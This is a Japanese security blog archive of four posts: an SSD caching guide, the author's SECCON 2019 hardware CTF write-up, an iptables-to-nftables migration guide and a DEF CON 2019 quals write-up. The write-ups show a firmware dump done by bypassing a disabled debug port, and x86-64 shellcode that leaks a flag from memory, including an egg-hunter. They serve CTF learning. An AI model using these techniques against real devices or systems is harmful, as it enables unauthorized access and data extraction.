雑記」カテゴリーアーカイブ

PrimoCache を使って Intel の最新チップセットでも HDD を SSD を使って高速化する

どうもみむらです。
先日 PC が故障しまして第9世代の Intel CPU (i7-9700) を用いて組み直していました。

故障する数日前からビープ音(長音)の連続で起動に失敗したりしていたので
なんか気持ち悪いなとは思っていたのですが。。

テレワークが推奨されており、お仕事に甚大な影響が出ることもありましたので
ツクモ電機さんのレジの横にあるリーダーにクレジットカードをシャコシャコッと何度も差し入れしてきました。。来月の引き落としに今から震えています。

写真の説明はありません。
図1 : 故障する直前 RAID-5 構成の HDD が全て認識出来なくなる

ただ今回買い換えを行ってみて
Intel Smart Response Technology (iSRT, HDD を SSD キャッシュで高速化するやつ) が
Intel Optane Memory との組み合わせ専用かつ、RAID 不可に変更
されており
iSRT を使って RAID-5 を高速化していた身としてはかなりショックでした。。

写真の説明はありません。
図2: Intel OPTANE Memory の実物。この数時間後 RAID に対して使えないことを知る。

では iSRT の代替としていいものは無いのかと探していたところ
PrimoCacheという良さそうなものを見つけたので試してみました。


PrimoCacheとは

HDD を SSD でキャッシュして高速化するソフトです。
まさしく Intel の Smart Response Technology で実現していたものを実現してくれます。

ほかにも FuzeDrive (AMD 環境では StoreMI という名前で提供されています) というソフトなどもありますが、いくつか試してみたところ PrimoCache がよさそうな感じでした。

PrimoCache は Romex Software 社の製品で、1つ当たり $29.95 の製品になっています。
https://www.romexsoftware.com/en-us/primo-cache/

なお私自身はメーカーさんから
今回の記事に関して何か支援を受けてはいませんのであしからず。。

PrimoCache の設定をする

左上のボタンを押してドライブを追加します。

図3 : ドライブの追加ボタン

次の画面で「高速化したいドライブ」を選択します。

図4: 高速化したいドライブを設定。今回は Intel RAID 1 ドライブ。

次にキャッシュの方法についての設定です。
Level-1 Cache が “DRAM 上” のキャッシュ、 Level-2 Cache がストレージとなります。

またキャッシュについては文字通り Level1, Level2 の階層構造になっています。

今回の場合は SSD キャッシュのみを有効にするため、
Level-1 Cache は 0MB に設定します。

図5: Level-1 Cache を 0MBに設定する

次に Level-2 Cache を設定するために、画面中央の小さなボタンを押下します。

図6: Level-2 Cache の設定ボタン

ボタンを押下すると次のような画面が表示され
キャッシュ用のドライブを選択する画面になります。

今回は Intel Optane Memory を使うため
INTEL MEMPEK.. で始まるドライブを選択します。

注:もちろん Intel Optane Memory を使わずに通常の SSD でも利用可能です。
注2:認識されている容量が小さい場合は何らかのパーティションを作ってから再試行してみてください。

図7: キャッシュ用ドライブを設定している図¥

設定後、 “Size” を “MAX” に変更し、その横にあるボタンを押下します。

図8: キャッシュ設定を行う

特に何もなければ
“Individual Read/Write Cache Space” のチェックを無効にします。

これが ON の時はそれぞれのキャッシュが設定した割合で行われますが
無効の場合は割合を気にせずに Read / Write キャッシュを行うようになります。

図9: Read/Write Cache の割振設定を無効にする。

最後にお好みで Defer-Write (遅延書き込み) の設定を行います。

遅延書き込みを有効にすると応答速度が速くなりますが、
ディスクへの書き込み(キャッシュ内容の反映)が遅くなります。

図10: 設定がほぼ完了した図

設定が完了したら “Start” を押下します。

画面UI について

稼働を始めると下記のようにキャッシュ率などが表示されます。

図11: 稼働が開始した画面

ある程度動きはじめたら、画面を閉じて仕事に戻りましょう。


冒頭のとおり PC の故障で買い替えたところ
Intel RAID 構成に対する SSD キャッシュが使えなくなって呆然としていたところ
こういうソフトを見つけることができてよかったです。。!

また前回の構成では Intel RAID の RAID-5 だったのですが
iSRT が有効な環境だと最新のマザーボードや mdadm ではマウントできず焦りましたが
dmraid を使うことでマウントができました。

PrimoCache の場合は Intel RAID と SSD Cache が別の機構なため
同じようにマウントできなくなることは(きっと)ないと思いますし安心です・・!

ではでは、素敵なテレワークライフを!

SECCON 2019 Final Write-up (Mimura)

みむらです。
先日 SECCON CTF が行われ、司会業しながら問題もひとつ出題させて頂きました。

当日朝来たら「問題名は mimura ね!」となっていました。

みなさんがもしかしたら持たれていたかもしれない、
「なんだよ、自己主張強すぎだろ・・」みたいな認識は誤りです。。(苦笑)

当人も年末に心臓にリアップ(育毛剤)を掛けられた感じで、
それはそれはよい毛が生えた気がします。冗談はこの辺にして。。


Hi, This is Mimura is author of “Mimura” challenge had provided on SECCON 2019 final.

I would have named to my challenge if I knew it will called as my name.
but in fact, I got a strong heart in exchange for the result.

okay, enough with jokes. I’ll start explaing how to solve it:


問題のストーリー / Overview:

パスワードロックされている USB ドングルが渡されるので
上手くパスワードロックを解除して中からフラグ文字列を探すことが目的です。

そのための手としては下記のようなものが考えられます。 (解くために必要な訳ではないです):
・USB ケーブルを接続する
・デバッガに接続する。
・ファームウェアを取り出して解析する。
・改造して書き戻す
・半田ごてで回路を変更する etc…


We provide a usb-key which seems protected by password.
you should find a password and find a flag on this device.

You can.. ( of course, you don’t have to do everything.) :
・Connect to Debugger (Hardware Emulator)
・Connect to PC
・Dumping and Analyse a firmware.
・Rewrite a modified firmware.
・Modify the circuit with soldering iron etc..


どうしてこういう問題を作ろうと思ったか。 / What influenced:

ハードウェアに関する問題を作ろうと思っていて、
ハードウェアロック付きの USB メモリを問題にしたら面白そうと思ったのがきっかけです。

また最近は業務でもハードウェア機器を触ったり色々としていますので
自分の中で作問を通してちょっと無理(学習)をしてみようという気持ちで
マスストレージに挑戦してみようと思いました。


I was influenced by Security USB-Key.

My main job is security researcher and developer, and I have recently been investigating of hardware device.
So, I thought to try to make mass storage device without an OS and growth up my skills.


ステップ1:ハードウェアを繋ごう
Step1 : Let’s connect the device to your machine.

ハードウェアを繋ぐと上記のような2つのデバイスが認識されます。
You will find these devices on your machine when connect the device.


また、マスストレージの方は、それっぽいファイルが保存されているのですが、
“<THIS SECTOR AREA IS PROTECTED BY HARDWARE PROTECTION>” と表示されていて、
内容が読めません。

You can find deleted file that seems would contain a flag data, but it seems protected.


COMのほうはというと、繋ぐとパスワードを要求され、
3回失敗すると、パスワードの受付を一切してくれなくなります。

Let’s check the com port. It looks like we need to input correct password via COM port.
And if you input wrong password three times, the device going to freeze.


ステップ2:デバッガを繋ごう
Step2 : Let’s connect emulator (debugger) to device.

USBポートの真逆の位置に、SWD ポート(デバッガを接続するためのポート)が生えています。
ここに問題と一緒に配布していたケーブルを接続し、デバッガ (STLink) と接続します。

You can find a SWD port that uses for hardware debugging on the other side of USB port.
You need insert a cable which we provided at beginning of the game and connect to the emulator (STLink).


ただそのままでは接続できません。

世の中に売られているハードウェアにおいても、
こういうデバッグポートは何らかの手によって接続できないように作られています。

今回の問題では、本体のプログラムコードの冒頭で SWD ポートを無効にするように
コードを入れておきました。

But… you may can’t connect the device via emulator if just connect.
Most devices disable the debug port (such as SWD, JTAG ICE and so on..) to protect “Intellectual Property” or prevent from illegal use.

Also on this device, I insert a code to disable the SWD port at the beginning of the main program code.


Description of Boot Mode selection (from ST.com, en.CD00164185.pdf)

今回のボードですと、上にジャンパスイッチがありました。

ここをの上のピン (BOOT0) を “0” 以外にすることで、メインファーム(今回の問題のプログラム)以外でシステムが立ち上がるようになるため、
プログラムによって SWD の無効化が行われず、接続可能となりました。

その他の方法としては、上の “RST” と書かれたボタン(リセットボタン)を押し続け
プログラム自体が起動しない状態にして接続するという方法もあります。


You can control the boot mode by Jumper switch.
If you change the BOOT0 pins ( upper pin ) to 1 (such like the photo), you can connect SWD port because the hardware will not run the challenge binary.

In other way, you can connect it with push and hold the RST button until connect the emulator successfully.


Description of Boot Mode selection (from ST.com, en.CD00225773.pdf)
Description of Boot Mode selection (from ST.com, en.CD00225773.pdf)

接続が無事に完了すれば、メモリをダンプするツールを用いて
フラッシュの内容を抜き出します。

アドレスについては、同じようにチップの仕様書を見ると
“Flash memory” は 0x08000000 から 0x080FFFFF にアドレスが設定されていますので、
この範囲を見ながらダンプを行います。

今回の問題では 64K のメモリが積まれていましたので、
Sector 0 から Sector 3 (0x0800FFFF) までがアクセス可能になっているかと思います。

上記の例では STM32 ST-Link Utility を使用しましたが、
その他に使い慣れたプログラマやデバッガをお持ちであればそれを利用したりして
抽出すれば良いと思います。

例えばSTM32 を J-Link 化したあと OpenOCD で接続して、
mdw コマンドで “mdw 0x8000000” として取り出したり
dump_image コマンドで “dump_image dump.bin 0x8000000 0xFFFF” みたいな感じで
抽出するという方法などもあります。


After connection, you can rip the firmware from hardware with writer tool.

According to the peripheral data sheat, You can find that the main firmware saved on a memory of 0x08000000 (Sector 0) to 0x0800FFFF (Sector 3) area.

I used STM32 ST-Link Utility to rip the challenge program binary on this time.
It’s also possible to rip with OpenOCD or similar tools.

if you try to rip with OpenOCD, you can use “mdw” command (i.g. “mdw 0x8000000” ) or “dump_image” command (i.g. “dump_image dump.bin 0x8000000 0xFFFF”)


ステップ3:ファームウェアを解析しよう
Step 3 : Let’s analyse the firmware!

普段は IDA 使いなのですが、
無料の範囲でバッチリできることを確認するために、 Ghidra でやってみます。

パスワードを入力したあとに “Checking…” と出ますので
その文字列の処理を頼りに探してみると 0x80001a8 付近にパスワードの確認処理が見つかります。

ここの処理を見ると下記のルールが現れます:
・1文字目は “O”
・3文字目、7文字目、11文字目は “e”
・9文字目は “a”
・10文字目は “m”

つまり、不明な部分を適当な文字で埋めると “O_e___e_ame!” となります。


Let’s analyse the firmware with Ghidra!

Looking back at the communication via serial port, the string that “checking ..” was appeared after send a password.
At address 0x80001a8, you can find the code.

According the code, you’ll find these rules:
* 1st character is “O”
* 3rd, 7th and 11th character is “e”
* 9th character is “a”
* 10th character is “m”

Therefore, the password will “O_e___e_ame!”. ( I filled unknown character with “_”)


やった!解けました!
Hooray! you did it!!


実は… / It’s hard to say this, but…

・・・ですよね。。すみません。
これなのですが、書き込むリビジョンを間違えてしまいまして、
特定位置の文字列チェックが欠損した版になっていました。
ミスの状態のまま出題を行ってしまい申し訳ありませんんでした。。。

…yes, I know why you’re being wired. It’s a my fail. I’m so sorry.
I had made a mistake that I wrote an another version firmware.
Thus, you would not have found a 2nd, 4th, 5th, 6th and 8th character.

ここで回答を期待していたキーワードは “開け!ゴマ!” です。
アリババと40人の盗賊で登場する話ですが、日本だと「アラジン」とかそういう話でも出てくるので世界一般以上に日本で有名なキーワードなんじゃないかと思います。知りませんけど。。

My expected password is “Open Sesame!”.
This is one of the most famous words from “Alibaba and the Forty Thieves”, I think.


ステップ4:ファイルを取り出そう
Step 4 : Let’s extract the file.

アンロックしてから読み直すと、フラグファイルが見えるようになります。
あとはこれを展開すると、フラグが出てきます。

SECCON{YOU_CAN_ANALYSE_HARDWARE_DEVICE}

After unlocked, let’s try to find a flag file on the storage with Forensics tool.
You can get a flag after by extracting it.

SECCON{YOU_CAN_ANALYSE_HARDWARE_DEVICE}


FAQ / よくある質問

Question:
 試してみたいのですが、評価ボードはもらえますか?
 Can you give me the challenge board?

Answer:
 ごめんなさい。。でももしお会いできる機会があれば、事前にお持ちすることは可能です。
 Sorry. I can’t. but I can show you the board. please feel free to contact me.

Question:
 どうしてパスワードを解除したあとにファイルが表示されないのですか?
 Why didn’t show the file after unlocked?

Answer:
 Windows でテストをした際に、エクスプローラや通常の方法で読み出しに失敗することが何度か確認できており、当該のエラーの解決が間に合わなかったのが理由です。。すみません。。
 I’m sorry again. I found a issue that windows system can’t read FAT12 data correctly, and I couldn’t find a solution before the CTF.


最後に / Summary and digression:

次出すことがあれば、もっとちゃんと自分が納得できる問題を提供したいなと思っており
今回の自分の問題は、ソフトウェアディベロッパとして、ユーザにソフトウェアを提供することのある人間としては、クオリティが低すぎたんじゃないかと自分でも猛省しています。

とはいえ、別件のこともありますし、Twitter で軽く触れたことは自分の意見には間違いないので
機会があれば十分な期間を取った上で、問題のクオリティや出し方(何をすれば良いのかを明瞭にする、問題タイトルをまともなモノにする)を自分の納得できるレベルにして出題してみたいですね。

問題を通してハードウェアに対してちょっとでも興味を向けてもらえる人が増えたなら
(ハードウェアから信頼を築いていく面白さとか、純粋に現実世界と仮想空間が繋がるのたのしい!とか思ってもらえたなら)今回出題して良かったなーと思います。

・・・司会業を当日していながら、色々と申し訳ない気持ちとかがあったのですが、
そういうのはチラ裏で。


I think I could have improved the quality of the challenge If I had more time.
Thus, I need to apologize to the CTF Player.

But fortunately, some CTF players told me the challenge was interesting.
It made me very happy.

so I think I want to create the “CTF challenge” ( the meaning that it meets the criteria for a general CTF challenge) in the hardware genre if next seccon ctf is to be held.


ところで、今回の問題はシンガポールで作っていたのですが、
あの「マリーナベイサンズ銀行」の預金ってどうやったら下ろせるんですかね。

by the way, could you tell me how to withdraw the money at “Marina Bay Sands Bank” if you know.
I think it’s the same way to get points in CTF, but it was very difficult for me….
especially slots….

ではでは! Bye!

iptables から nftables にサクッと切り替える

どうもみむらです。

Red Hat Enterprise Linux 8 になって iptables から nftables に本格的に切り替えが始まりました。
CentOS 8 もこれを受けて nftables への切り替えが必要になってきました。

参考資料:Linuxにおける新たなパケットフィルタリングツール「nftables」入門
https://knowledge.sakura.ad.jp/22636/

firewalld で書いていれば影響を受けないらしいのですが
iptables で直接ルールを書いている人なので、これを機に nftables に変換してしまおうかと。


実はさくっと切り替えられる

とりあえず変換して nftables で管理出来るようになればよいのであれば
下記の2パターンの方法で変換可能です。

パターン1 : iptables-restore-translate で設定ファイルを変換する
パターン2 : iptables を有効にしたあと nft で設定を取り出す

見た限りでは パターン1の方が色んなサイトでも紹介されており
出てくる設定を見ても綺麗な設定に思えるので、推奨なんだと思います。

ただパターン2だと、NAT 設定などもきちんと変換されますので、
急ぎで行いたい場合はパターン2で、
時間があるときは1で変換して、さらに手入れをするのが良いと思います。


1. iptables-restore-translate を使う

iptables の設定ファイル (/etc/sysconfig/iptables, /etc/sysconfig/ip6tables) や
iptables-save の結果を用いて変換をします。

1.1. 設定を保存する

CentOS や RHEL で iptables を直接触っている場合は
/etc/sysconfig/iptables もしくは /etc/sysconfig/ip6tables に保存されていると思いますので
このステップはスキップ可能です。

そうでないばあいで iptables の設定を取り出す必要がある場合は
iptables-save コマンド等で取り出しておきます。

1.2. 変換する

下記のコマンドを使用して iptables の設定を nftables のコマンドに変換して流し込みます。

# iptables-restore-translate -f /etc/sysconfig/iptables   | nft -f - # IPv4
# ip6tables-restore-translate -f /etc/sysconfig/ip6tables | nft -f - # IPv6

1.3. 保存する

下記のコマンドを実行して保存します。

なお下記の保存先は RHEL, CentOS の場合の例です。
お使いのディストリビューションに合わせて適宜変更してください

# nft list ruleset > /etc/sysconfig/nftables.conf

以上で変換が完了します。

この方法で変換した場合、下記のような設定が流し込まれます。
(あくまでも一例です)

# /etc/sysconfig/iptables
*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
COMMIT

# iptables-restore-translate -f /etc/sysconfig/iptables
add table ip filter
add chain ip filter INPUT { type filter hook input priority 0; policy drop; }
add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }
add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }
add rule ip filter INPUT iifname "lo" counter accept
add rule ip filter INPUT ip protocol tcp ct state related,established  counter accept
add rule ip filter INPUT tcp dport 80 counter accept

# nft list ruleset
table ip filter {
        chain INPUT {
                type filter hook input priority 0; policy drop;
                iifname "lo" counter packets 0 bytes 0 accept
                ip protocol tcp ct state established,related counter packets 0 bytes 0 accept
                tcp dport http counter packets 0 bytes 0 accept
        }

        chain FORWARD {
                type filter hook forward priority 0; policy drop;
        }

        chain OUTPUT {
                type filter hook output priority 0; policy accept;
        }
}

また試してみた範囲では、NAT の処理が上手く変換できないようで
失敗することがありました。

次に紹介する方法では、リスクが少しあるのですが
上手く変換できましたのでご紹介します。


2. iptables を有効にしたあと nft で設定を取り出す

今まで使用していた設定を iptables コマンド経由で有効にしたあと
nft コマンドを用いて現在の設定を nftables 形式で取り出す方法です。

この方法が使えるのは OS に入っている iptables コマンドが
nftables の互換レイヤを使っている場合に限られます。

互換レイヤを利用しているかどうかについては、 “iptables –version” コマンドを実行し
末尾に (nf_tables) が付いているかどうかで判断できます。

# CentOS 7 (iptables)
# iptables --version
iptables v1.4.21

# CentOS 8 (nftables)
# iptables --version
iptables v1.8.2 (nf_tables)

2.1. iptables コマンド経由で設定を有効にする

iptables-restore コマンドを利用して、既存の設定を読み込ませます。

# iptables-restore < /etc/sysconfig/iptables
# ip6tables-restore < /etc/sysconfig/ip6tables

2.2. nft コマンドを使って設定を読み出して保存する

下記のコマンドを実行して保存します。

なお下記の保存先は RHEL, CentOS の場合の例です。
お使いのディストリビューションに合わせて適宜変更してください

# nft list ruleset > /etc/sysconfig/nftables.conf

以上で変換が完了します。

この方法で変換した場合、下記のような設定が流し込まれます。
(あくまでも一例です)

# /etc/sysconfig/iptables
*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
COMMIT

# nft list ruleset
table ip filter {
        chain INPUT {
                type filter hook input priority 0; policy drop;
                iifname "lo" counter packets 0 bytes 0 accept
                meta l4proto tcp ct state related,established counter packets 0 bytes 0 accept
                meta l4proto tcp tcp dport 80 counter packets 0 bytes 0 accept
        }

        chain FORWARD {
                type filter hook forward priority 0; policy drop;
        }

        chain OUTPUT {
                type filter hook output priority 0; policy accept;
        }
}

冒頭で書きましたように
iptables-restore-translate を使った場合のほうが綺麗なコードが生成されるようですので
基本的にはこのコマンドを使用して変換した方が良さそうです。

ただ、エラーが出る場合もありますので、
お互いの変換結果を見ながら、手で書き直すぐらいが一番良いのかも知れません(苦笑)


iptables のコマンドを nftables のコマンドに変換する

iptables コマンドの代わりに iptables-translate コマンドを用いる事で
変換結果を得られます。

# iptables-translate -A INPUT -p tcp --dport 80 -j ACCEPT
nft add rule ip filter INPUT tcp dport 80 counter accept

それではよい nftables ライフを!

DEF CON 2019 Online Quals / Write-up

どうもみむらです。
久しぶりに wasamusume の CTF の活動を再開したくなり、リハビリがてらに参加してみました。

結果としては98位。
3人だけでひっそりと参加していたのですが、結果としてはかなり上々かも。

というわけで、解いた問題についての Write-up です。


問題のおしながき:
・welcome_to_the_game
・babytrace
・know_your_mem


welcome_to_the_game

FLAG : OOO{Game on!}
ファイルを開くと出てくる。


babytrace

FLAG : OOO{memory_objects_get_you_every_time}

claripy と angr で作られたトレーサを経由して問題のファイルを覗く問題。
プログラムは純粋に使うと2文字までしか表示されないようになっています。

eax が文字位置.

解き方

0x856 の位置に “movzx eax,[rbp+eax+buf]” という処理があり
ここで、任意の位置の文字が “eax” に積まれます。

その処理を利用して、任意の文字の位置を読んでみます。

読みたい位置を標準入力に設定(ここでは 0x25 = 最後の文字)
文字列が代入される 0x856 より先の位置まで進める。(ここでは 0x86E の puts の中で止まっている)
その状態で eax の値 (ここでは eax_63_32)を読むと、 0x7d = ‘}’ の値が取得できていることが分かる。

あとは上記を繰り返して、文字列を読んでいくとフラグが得られます。


know_your_mem

FLAG : OOO{so many bits, so many syscalls}

実行すると下記のように、シェルコードを入れるように指示されます。
ここに、文字列長とシェルコードを入力するとそれが実行されます。

シェルコードで実現する必要があることは、
プログラムのどこかに読み込まれている「フラグ」のデータを探し出して
それを読み込んで表示すること。
また、10秒間のタイムアウト値が設定されているため、それを越えての探索は出来ません。

解き方

方針1(基本的な方法)

64bit 空間のメモリを全部探すのは現実的ではないので
スタック中から何か出ていないか探します。

下記のようなアセンブラを書いて、それをシェルコードとして与えます。

bits 64

section .text
global _start

_start:
mov rsi,rsp
mov rdx,70
mov rdi,1
mov rax,1
syscall
mov rax,0
ret

どうやら白く塗ってある場所に同じ表示が出ているのでこれが使えそう。

ただ大会期間中は、メモリ位置を考慮するのが面倒くさくなったので
別の方法を使いました。


方針2(実際に試した方法)

“flag” の読み込みを r15 が指し示すメモリアドレスに読み込む処理が入っています。

shellcode 読んだ直後でも R15 が flag の入っているメモリを指し示し続けてる。
(今回はソースコードで提供されたので、コンパイラによっては別のレジスタが使われる場合もある)

というわけで下記のようなアセンブラを書いてみました。

bits 64

section .text
global _start

_start:
mov rsi,r15
mov rdx,50
mov rdi,1
mov rax,1
syscall
mov rax,r15
ret

結果としては下記の通り

というわけで r15 レジスタを参照するだけで解けました・・。
うーんこれで良いのだろうか・・。

ところで
フラグが OOO{so many bits, so many syscalls} なので
下記のようなコードを書くのが正しいのかもしれませんね・・?

余談(メモリ全探索。間に合わないけど・・。)

(ただし速度が追いつかないので改良等をする必要は大いにあります)

bits 64

section .text
global _start

_start:
mov rsi,0x100000000000

_nextpage:
add rsi,0x1000 ; mmap のアライメント.

_nextbyte:
mov rdx,10
mov rdi,1
mov rax,1 ; write は今回の seccomp の設定で許可されていたので.
syscall

_faultcheck:
cmp al,0xf2 ;EFAULT
jz _nextpage
mov eax,0x4F4F4F7B ; egg "OOO{"
inc al
scasd
jnz _nextbyte
mov rax,rdi
ret

普通に Egg Hunter の Exploit code のもじりです(苦笑)


というわけで、
久しぶりに CTF やるのと、久しぶりにアセンブラ読み書きしてるのが楽しかったので
また機会があれば CTF やりたいかもしれません。

また家にメンバーを読んでやってたのですが、
あのワイワイした感じで解くのも面白かったし。であであー。